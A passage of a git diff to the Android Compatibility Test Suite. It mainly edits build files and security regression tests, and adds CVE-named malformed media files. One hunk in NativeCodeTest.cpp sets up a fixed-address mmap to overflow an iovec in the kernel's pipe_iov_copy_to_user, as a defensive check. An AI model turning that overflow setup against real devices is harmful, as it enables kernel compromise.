@@ -250,4 +263,3 @@
mUiAutomation);
}
}
-
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
index ffd3406..a923584 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
@@ -239,7 +239,7 @@
return;
if (expected != null && Arrays.equals(actual, expected))
return;
- throw new ComparisonFailure(message, expected.toString(), actual.toString());
+ throw new ComparisonFailure(message, Arrays.toString(expected), Arrays.toString(actual));
}
private int getColumnIndex(String columnName) {
diff --git a/tests/tests/renderscript/Android.mk b/tests/tests/renderscript/Android.mk
index 00e751a..1a8c549 100644
--- a/tests/tests/renderscript/Android.mk
+++ b/tests/tests/renderscript/Android.mk
@@ -28,7 +28,10 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner xmp_toolkit
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ xmp_toolkit \
+ legacy-android-test
LOCAL_JNI_SHARED_LIBRARIES := libcoremathtestcpp_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -38,7 +41,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
index 06eb606..5f17655 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/SingleSourceForEachTest.java
@@ -125,4 +125,11 @@
baselineOutputAlloc.copyTo(baselineOutputArray);
checkArray(baselineOutputArray, testOutputArray, Y, X, X);
}
+
+ public void testConsistency() {
+ s.invoke_testConsistency(testInputAlloc, testOutputAlloc);
+ mRS.finish();
+ waitForMessage();
+ checkForErrors();
+ }
}
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
index 5e35aa3..c3e322b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/single_source_script.rs
@@ -27,9 +27,9 @@
}
void RS_KERNEL bar(int x, int y) {
- int a = rsGetElementAt_int(gAllocOut, x, y);
- a++;
- rsSetElementAt_int(gAllocOut, a, x, y);
+ int a = rsGetElementAt_int(gAllocOut, x, y);
+ a++;
+ rsSetElementAt_int(gAllocOut, a, x, y);
}
void testSingleInput(rs_allocation in, rs_allocation out) {
@@ -58,3 +58,19 @@
opts.yEnd = dimY;
rsForEachWithOptions(bar, &opts);
}
+
+void testConsistency(rs_allocation in, rs_allocation out) {
+ rsForEach(foo, in, out);
+ const uint32_t dimX = rsAllocationGetDimX(in);
+ const uint32_t dimY = rsAllocationGetDimY(in);
+ for (int i = 0; i < dimX; i++) {
+ for (int j = 0; j < dimY; j++) {
+ if (rsGetElementAt_int(out, i, j) != 2 * rsGetElementAt_int(in, i, j)) {
+ rsSendToClientBlocking(RS_MSG_TEST_FAILED);
+ return;
+ }
+ }
+ }
+ rsSendToClientBlocking(RS_MSG_TEST_PASSED);
+}
+
diff --git a/tests/tests/renderscriptlegacy/Android.mk b/tests/tests/renderscriptlegacy/Android.mk
index f29a290..8114642 100644
--- a/tests/tests/renderscriptlegacy/Android.mk
+++ b/tests/tests/renderscriptlegacy/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := 19
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/rsblas/Android.mk b/tests/tests/rsblas/Android.mk
index 700fba3..0385573 100644
--- a/tests/tests/rsblas/Android.mk
+++ b/tests/tests/rsblas/Android.mk
@@ -27,7 +27,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JNI_SHARED_LIBRARIES := libbnnmdata_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -35,7 +35,7 @@
LOCAL_RENDERSCRIPT_FLAGS := -Wno-error=deprecated-declarations
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/rscpp/Android.mk b/tests/tests/rscpp/Android.mk
index bdcf840..11957bf 100644
--- a/tests/tests/rscpp/Android.mk
+++ b/tests/tests/rscpp/Android.mk
@@ -28,7 +28,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_JNI_SHARED_LIBRARIES := librscpptest_jni
LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
@@ -36,7 +36,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
include $(LOCAL_PATH)/librscpptest/Android.mk
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 36eafe2..5621c02 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -46,6 +46,7 @@
LOCAL_C_INCLUDES += frameworks/rs
LOCAL_CPPFLAGS := -std=c++11
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_SHARED_LIBRARIES := libdl liblog
LOCAL_STATIC_LIBRARIES := libRScpp_static
diff --git a/tests/tests/sax/Android.mk b/tests/tests/sax/Android.mk
index 498aa40..0c2a2b3 100644
--- a/tests/tests/sax/Android.mk
+++ b/tests/tests/sax/Android.mk
@@ -21,7 +21,7 @@
# and when built explicitly put it in the data partition
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -30,6 +30,6 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index aa3e8d1..20609bc 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS SAX test cases">
<option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSaxTestCases.apk" />
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index ddd78f1..b22f6c7 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -51,7 +51,7 @@
#LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index 118744e..dd069fe 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -46,4 +46,6 @@
LOCAL_C_INCLUDES += ndk/sources/cpufeatures
LOCAL_STATIC_LIBRARIES := cpufeatures
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
index 9b8016e..8514f8b 100644
--- a/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_LinuxRngTest.cpp
@@ -20,6 +20,7 @@
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
+#include <sys/sysmacros.h>
/*
* Native methods used by
diff --git a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
index e64c1b4..e903ab7 100644
--- a/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
+++ b/tests/tests/security/jni/android_security_cts_NativeCodeTest.cpp
@@ -263,18 +263,14 @@
* set up to overflow iov[OVERFLOW_BUF] on non-atomic redo in kernel
* function pipe_iov_copy_to_user
*/
- iovs[OVERFLOW_BUF - 1].iov_len = IOV_LEN*10;
- iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
- iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
-
- overflow_addr = mmap((void *) FIXED_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE,
- MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-
- bufs[OVERFLOW_BUF] = overflow_addr;
+ bufs[OVERFLOW_BUF] = mmap((void*)(FIXED_ADDR), PAGE_SIZE, PROT_READ | PROT_WRITE,
+ MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
if (bufs[OVERFLOW_BUF] == MAP_FAILED) {
ALOGE("mmap fixed addr failed:%s", strerror(errno));
goto __close_pipe;
}
+ iovs[OVERFLOW_BUF].iov_base = bufs[OVERFLOW_BUF];
+ iovs[OVERFLOW_BUF].iov_len = IOV_LEN;
for (i = 0; i < BUFS; i++) {
if (i == OVERFLOW_BUF) {
diff --git a/tests/tests/security/res/raw/b38116746_new.ico b/tests/tests/security/res/raw/b38116746_new.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/b38116746_new.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37662286.gif b/tests/tests/security/res/raw/bug_37662286.gif
new file mode 100644
index 0000000..f8ecc27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37662286.gif
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
new file mode 100644
index 0000000..5544ffe
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64710074.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64836894.mp4 b/tests/tests/security/res/raw/bug_64836894.mp4
new file mode 100644
index 0000000..69b7f30
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_64836894.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_6712.mp3 b/tests/tests/security/res/raw/cve_2016_6712.mp3
new file mode 100644
index 0000000..7804a75
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_6712.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0599.mp4 b/tests/tests/security/res/raw/cve_2017_0599.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0599.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0600.mp4 b/tests/tests/security/res/raw/cve_2017_0600.mp4
new file mode 100644
index 0000000..1d91295
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0600.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0643.mp4 b/tests/tests/security/res/raw/cve_2017_0643.mp4
new file mode 100644
index 0000000..ee939a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0643.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0687.mp4 b/tests/tests/security/res/raw/cve_2017_0687.mp4
new file mode 100644
index 0000000..03b9d3a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0687.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0728.mp4 b/tests/tests/security/res/raw/cve_2017_0728.mp4
new file mode 100644
index 0000000..372eb69
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0728.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0762.mp4 b/tests/tests/security/res/raw/cve_2017_0762.mp4
new file mode 100644
index 0000000..e8cc2cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0762.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0857.mp4 b/tests/tests/security/res/raw/cve_2017_0857.mp4
new file mode 100644
index 0000000..bcc31f7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0857.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/AslrTest.java b/tests/tests/security/src/android/security/cts/AslrTest.java
index cd92611..bed8e32 100644
--- a/tests/tests/security/src/android/security/cts/AslrTest.java
+++ b/tests/tests/security/src/android/security/cts/AslrTest.java
@@ -52,7 +52,7 @@
String result = null;
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd)))) {
- Pattern p = Pattern.compile("^([a-f0-9]+)\\-.+\\[" + mappingName + "\\]$");
+ Pattern p = Pattern.compile("^([a-f0-9]+).*" + mappingName + ".*");
String line;
while ((line = reader.readLine()) != null) {
@@ -100,7 +100,8 @@
}
public void testRandomization() throws Exception {
- testMappingEntropy("stack");
+ testMappingEntropy("\\[stack\\]");
+ testMappingEntropy("/system/bin/");
}
public void testOneExecutableIsPie() throws IOException {
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index c8bfbb1..203db12 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -17,30 +17,56 @@
package android.security.cts;
import android.graphics.BitmapFactory;
+import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
import java.io.InputStream;
+import java.lang.Exception;
+
import android.security.cts.R;
@SecurityTest
public class BitmapFactorySecurityTests extends AndroidTestCase {
- private InputStream getResource(int resId) {
- InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
- assertNotNull(resource);
- return resource;
+ private FileDescriptor getResource(int resId) {
+ try {
+ InputStream is = mContext.getResources().openRawResource(resId);
+ assertNotNull(is);
+ File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
+ file.deleteOnExit();
+ FileOutputStream output = new FileOutputStream(file);
+ byte[] buffer = new byte[1024];
+ int readLength;
+ while ((readLength = is.read(buffer)) != -1) {
+ output.write(buffer, 0, readLength);
+ }
+ is.close();
+ output.close();
+ ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.MODE_READ_ONLY);
+ return pfd.getFileDescriptor();
+ } catch (Exception e) {
+ fail("Could not get resource " + resId + "! " + e);
+ return null;
+ }
}
/**
- * Verifies that decoding a corrupt ICO does not run out of memory.
+ * Verifies that decoding a corrupt ICO does crash.
*/
public void test_android_bug_38116746() {
- InputStream exploitImage = getResource(R.raw.bug_38116746);
+ FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
- BitmapFactory.decodeStream(exploitImage);
+ BitmapFactory.decodeFileDescriptor(exploitImage);
} catch (OutOfMemoryError e) {
fail("OOM attempting to decode ICO");
}
+
+ // This previously crashed in fread. No need to check the output.
+ BitmapFactory.decodeFileDescriptor(getResource(R.raw.b38116746_new));
}
}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index 61456af..b880f5f 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -29,18 +29,12 @@
static final String[] CERTIFICATE_DATA = {
"91:C6:D6:EE:3E:8A:C8:63:84:E5:48:C2:99:29:5C:75:6C:81:7B:81",
"22:FD:D0:B7:FD:A2:4E:0D:AC:49:2C:A0:AC:A6:7B:6A:1F:E3:F7:66",
- "4A:65:D5:F4:1D:EF:39:B8:B8:90:4A:4A:D3:64:81:33:CF:C7:A1:D1",
- "16:32:47:8D:89:F9:21:3A:92:00:85:63:F5:A4:A7:D3:12:40:8A:D6",
"D1:CB:CA:5D:B2:D5:2A:7F:69:3B:67:4D:E5:F0:5A:1D:0C:95:7D:F0",
- "4D:23:78:EC:91:95:39:B5:00:7F:75:8F:03:3B:21:1E:C5:4D:8B:CF",
- "E7:B4:F6:9D:61:EC:90:69:DB:7E:90:A7:40:1A:3C:F4:7D:4F:E8:EE",
"C4:18:F6:4D:46:D1:DF:00:3D:27:30:13:72:43:A9:12:11:C6:75:FB",
"69:69:56:2E:40:80:F4:24:A1:E7:19:9F:14:BA:F3:EE:58:AB:6A:BB",
"92:5A:8F:8D:2C:6D:04:E0:66:5F:59:6A:FF:22:D8:63:E8:25:6F:3F",
"75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
- "E1:9F:E3:0E:8B:84:60:9E:80:9B:17:0D:72:A8:C5:BA:6E:14:09:BD",
"DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
- "4F:99:AA:93:FB:2B:D1:37:26:A1:99:4A:CE:7F:F0:05:F2:93:5D:1E",
"74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
"40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
"F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
@@ -52,13 +46,11 @@
"8E:1C:74:F8:A6:20:B9:E5:8A:F4:61:FA:EC:2B:47:56:51:1A:52:C6",
"27:96:BA:E6:3F:18:01:E2:77:26:1B:A0:D7:77:70:02:8F:20:EE:E4",
"AD:7E:1C:28:B0:64:EF:8F:60:03:40:20:14:C3:D0:E3:37:0E:B5:8A",
- "FB:ED:DC:90:65:B7:27:20:37:BC:55:0C:9C:56:DE:BB:F2:78:94:E1",
"8D:17:84:D5:37:F3:03:7D:EC:70:FE:57:8B:51:9A:99:E6:10:D7:B0",
"1F:24:C6:30:CD:A4:18:EF:20:69:FF:AD:4F:DD:5F:46:3A:1B:69:AA",
"DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
"74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
- "3E:2B:F7:F2:03:1B:96:F3:8C:E6:C4:D8:A8:5D:3E:2D:58:47:6A:0F",
- "A3:F1:33:3F:E2:42:BF:CF:C5:D1:4E:8F:39:42:98:40:68:10:D1:A0",
+ "31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
"5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
"2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
"79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -73,7 +65,6 @@
"50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
"FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
"1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
- "77:47:4F:C6:30:E4:0F:4C:47:64:3F:84:BA:B8:C6:95:4A:8A:41:EC",
"8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
"2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
"BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -82,7 +73,6 @@
"36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
"1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
"6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
- "A9:E9:78:08:14:37:58:88:F2:05:19:B0:6D:2B:0D:2B:60:16:90:7D",
"D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
"66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
"DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -91,7 +81,6 @@
"06:08:3F:59:3F:15:A1:04:A0:69:A4:6B:A9:03:D0:06:B7:97:09:91",
"CA:BD:2A:79:A1:07:6A:31:F2:1D:25:36:35:CB:03:9D:43:29:A5:E8",
"43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
- "8A:5C:8C:EE:A5:03:E6:05:56:BA:D8:1B:D4:F6:C9:B0:ED:E5:2F:E0",
"F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
"05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
"62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
@@ -117,17 +106,14 @@
"9F:F1:71:8D:92:D5:9A:F3:7D:74:97:B4:BC:6F:84:68:0B:BA:B6:66",
"B5:61:EB:EA:A4:DE:E4:25:4B:69:1A:98:A5:57:47:C2:34:C7:D9:71",
"07:E0:32:E0:20:B7:2C:3F:19:2F:06:28:A2:59:3A:19:A7:0F:06:9E",
- "B9:42:94:BF:91:EA:8F:B6:4B:E6:10:97:C7:FB:00:13:59:B6:76:CB",
"D6:DA:A8:20:8D:09:D2:15:4D:24:B5:2F:CB:34:6E:B2:58:B2:8A:58",
"32:3C:11:8E:1B:F7:B8:B6:52:54:E2:E2:10:0D:D6:02:90:37:F0:96",
- "E7:A1:90:29:D3:D5:52:DC:0D:0F:C6:92:D3:EA:88:0D:15:2E:1A:6B",
"79:91:E8:34:F7:E2:EE:DD:08:95:01:52:E9:55:2D:14:E9:58:D5:7E",
"67:65:0D:F1:7E:8E:7E:5B:82:40:A4:F4:56:4B:CF:E2:3D:69:C6:F0",
"FE:B8:C4:32:DC:F9:76:9A:CE:AE:3D:D8:90:8F:FD:28:86:65:64:7D",
"4A:BD:EE:EC:95:0D:35:9C:89:AE:C7:52:A1:2C:5B:29:F6:D6:AA:0C",
"33:9B:6B:14:50:24:9B:55:7A:01:87:72:84:D9:E0:2F:C3:D2:D8:E9",
"DD:FB:16:CD:49:31:C9:73:A2:03:7D:3F:C8:3A:4D:7D:77:5D:05:E4",
- "2A:B6:28:48:5E:78:FB:F3:AD:9E:79:10:DD:6B:DF:99:72:2C:96:E5",
"36:B1:2B:49:F9:81:9E:D7:4C:9E:BC:38:0F:C6:56:8F:5D:AC:B2:F7",
"37:F7:6D:E6:07:7C:90:C5:B1:3E:93:1A:B7:41:10:B4:F2:E4:9A:27",
"AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
@@ -157,7 +143,6 @@
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
"AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
- "D2:7A:D2:BE:ED:94:C0:A1:3C:C7:25:21:EA:5D:71:BE:81:19:F3:2B",
"5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
"F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
"9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
@@ -166,22 +151,16 @@
"D8:A6:33:2C:E0:03:6F:B1:85:F6:63:4F:7D:6A:06:65:26:32:28:27",
"01:0C:06:95:A6:98:19:14:FF:BF:5F:C6:B0:B6:95:EA:29:E9:12:A6",
"0F:F9:40:76:18:D3:D7:6A:4B:98:F0:A8:35:9E:0C:FD:27:AC:CC:ED",
- "CC:AB:0E:A0:4C:23:01:D6:69:7B:DD:37:9F:CD:12:EB:24:E3:94:9D",
"48:12:BD:92:3C:A8:C4:39:06:E7:30:6D:27:96:E6:A4:CF:22:2E:7D",
"F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
- "5F:3A:FC:0A:8B:64:F6:86:67:34:74:DF:7E:A9:A2:FE:F9:FA:7A:51",
"E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
"89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
"E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
"7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
"6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
- "31:F1:FD:68:22:63:20:EE:C6:3B:3F:9D:EA:4A:3E:53:7C:7C:39:17",
- "23:88:C9:D3:71:CC:9E:96:3D:FF:7D:3C:A7:CE:FC:D6:25:EC:19:0D",
- "7F:8A:B0:CF:D0:51:87:6A:66:F3:36:0F:47:C8:8D:8C:D3:35:FC:74",
"4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
"5A:8C:EF:45:D7:A6:98:59:76:7A:8C:8B:44:96:B5:78:CF:47:4B:1A",
"8D:A7:F9:65:EC:5E:FC:37:91:0F:1C:6E:59:FD:C1:CC:6A:6E:DE:16",
"B1:2E:13:63:45:86:A4:6F:1A:B2:60:68:37:58:2D:C4:AC:FD:94:97",
- "04:83:ED:33:99:AC:36:08:05:87:22:ED:BC:5E:46:00:E3:BE:F9:D7",
};
}
diff --git a/tests/tests/security/src/android/security/cts/EffectBundleTest.java b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
index 761b2e3..ae55494 100644
--- a/tests/tests/security/src/android/security/cts/EffectBundleTest.java
+++ b/tests/tests/security/src/android/security/cts/EffectBundleTest.java
@@ -49,44 +49,68 @@
//Testing security bug: 32436341
public void testEqualizer_getParamCenterFreq() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32588352
public void testEqualizer_getParamCenterFreq_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_CENTER_FREQ, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32438598
public void testEqualizer_getParamBandLevel() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32584034
public void testEqualizer_getParamBandLevel_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_LEVEL, INVALID_BAND_ARRAY, mValue0, mValue1);
}
//Testing security bug: 32247948
public void testEqualizer_getParamFreqRange() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_SHORT, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32588756
public void testEqualizer_getParamFreqRange_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testGetParam(MEDIA_LONG, Equalizer.PARAM_BAND_FREQ_RANGE, INVALID_BAND_ARRAY, mValue0,
mValue1);
}
//Testing security bug: 32448258
public void testEqualizer_getParamPresetName() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testParamPresetName(MEDIA_SHORT);
}
//Testing security bug: 32588016
public void testEqualizer_getParamPresetName_long() throws Exception {
+ if (!hasEqualizer()) {
+ return;
+ }
testParamPresetName(MEDIA_LONG);
}
@@ -124,6 +148,9 @@
//testing security bug: 32095626
